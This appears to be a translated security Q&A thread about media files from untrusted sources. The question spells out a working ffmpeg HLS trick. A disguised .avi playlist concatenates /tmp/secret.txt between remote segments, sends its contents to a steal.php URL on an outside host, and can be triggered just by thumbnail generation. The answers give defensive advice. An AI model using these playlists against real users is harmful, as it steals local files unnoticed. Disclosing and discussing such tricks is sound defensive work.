¿Cómo manejar archivos de medios de fuentes no confiables?

10

He sido un gran usuario de reproductores y codificadores basados en ffmpeg durante años, y aunque he oído hablar de numerosos problemas de seguridad, siempre supuse que estar al día era lo suficientemente seguro. Sin embargo, acabo de ver un artículo ( en ruso ) que explica cómo se puede utilizar mal el ffmpeg sin confiar en ningún error. en absoluto.

Para los valientes:

Crea un archivo /tmp/secret.txt con una palabra secreta (importante: no hay nueva línea al final). Ahora reproduzca este video de aspecto inocente : enlace con un reproductor basado en ffmpeg o libav (probé SMPlayer 14.9.0 en Debian). ¿Aparece tu palabra secreta en el video?

Los usuarios de Windows pueden probar enlace que intenta robar c:\secret.txt , aunque no lo hice. No lo pruebes.

Cómo funciona:

steal_secret.avi es en realidad un archivo transmisión HTTP en directo que se ve así:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST

Le indica a SMPlayer que concatene tres archivos: un encabezado, secret.txt y un pie de página. El resultado de esta concatenación es, nuevamente, un archivo HLS que se ve así:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST

Esta vez, los contenidos de secret.txt se envían a steal.php como un parámetro de URL. En mi caso, steal.php simplemente imprime your secret is <your_secret_word> 1000 veces, para que se muestre dentro del video. Un verdadero atacante podría haber guardado el secreto y haber mostrado un clip inocente al usuario, sin generar sospechas.

Tenga en cuenta que este truco no se basa en errores, utiliza un formato compatible y una útil función de concatenación. Y a menudo ni siquiera tiene que hacer clic en el archivo: su administrador de archivos ejecutará ffmpeg en él para generar una miniatura.

¿Qué hacer?

Además del consejo obvio de tener cuidado con los archivos que no son de confianza y nunca ejecutar GUI como root, ¿qué se podría hacer para minimizar el riesgo? Específicamente, ¿qué reproductor multimedia debo usar al abrir tales archivos? Hasta ahora, mi ejemplo solo funciona con mplayer y SMPlayer, que admiten concat , pero me pregunto si otros reproductores de medios compatibles con HLS pueden ser explotados de una manera similar.

    
pregunta Dmitry Grigoryev 14.01.2016 - 20:46
fuente

2 respuestas

3

De hecho, hay muchas vulnerabilidades en FFmpeg y similares, muchas de ellas descubiertas por el investigador de Google con una técnica de fuzzing. La actualización de su reproductor, codificador y codecs es una necesidad para alcanzar un sistema seguro lo más lejos posible.

Si tiene que lidiar con archivos (multimedia) de fuentes no confiables, puedo sugerir que los maneje en un "contenedor virtual". Echa un vistazo a algunas de las soluciones como VMware o VirtualBox que proporcionan versiones gratuitas.

Estoy trabajando como investigador de seguridad y mi equipo confía en este enfoque para todos los tipos de archivos críticos (medios, documentos, ejecutables, etc.). Tiene algún impacto negativo en la comodidad y el rendimiento, generalmente solo en una forma menor. Pero a veces este es el precio que tiene que pagar por la seguridad.

    
respondido por el Marc Ruef 03.06.2016 - 07:33
fuente
2

Dado el número de códecs y reproductores de hoy, pueden suceder cosas malas.

Con respecto a "¿Qué hacer?" Encontré una solución bastante simple: uso mi propio visor de imágenes y reproductor de películas que no interpretará datos como en su ejemplo. Aunque para las imágenes es compatible con todos los formatos inventados, para el video hay un problema con los códecs: demasiados en demasiadas versiones.

Aunque los formatos oficiales funcionan bien, algunos nuevos códigos extraños no lo harán. Pero dado que recibo un archivo de este tipo en 1 de cada 1000 casos, no veo ningún problema en convertirlos en un modo protegido.

Hay muchas ventajas de no depender de los archivos del sistema operativo o de la seguridad para ver imágenes y reproducir películas ... comenzando con algo así como ventanas que no generan sus pulgares. db en todas partes (ya que nunca uso el explorador o MP) a linux problemas de seguridad y vulnerabilidades que pueden venir con los códecs, en su mayoría interpretación de datos sin transmisión.

Para la parte de video, debe encontrar un reproductor que pueda reproducir la transmisión como está, con la posibilidad de ignorar toda la información meta o de spam. Si lo usas así, estarás perfectamente seguro.

    
respondido por el Overmind 04.07.2016 - 08:31
fuente

Lea otras preguntas en las etiquetas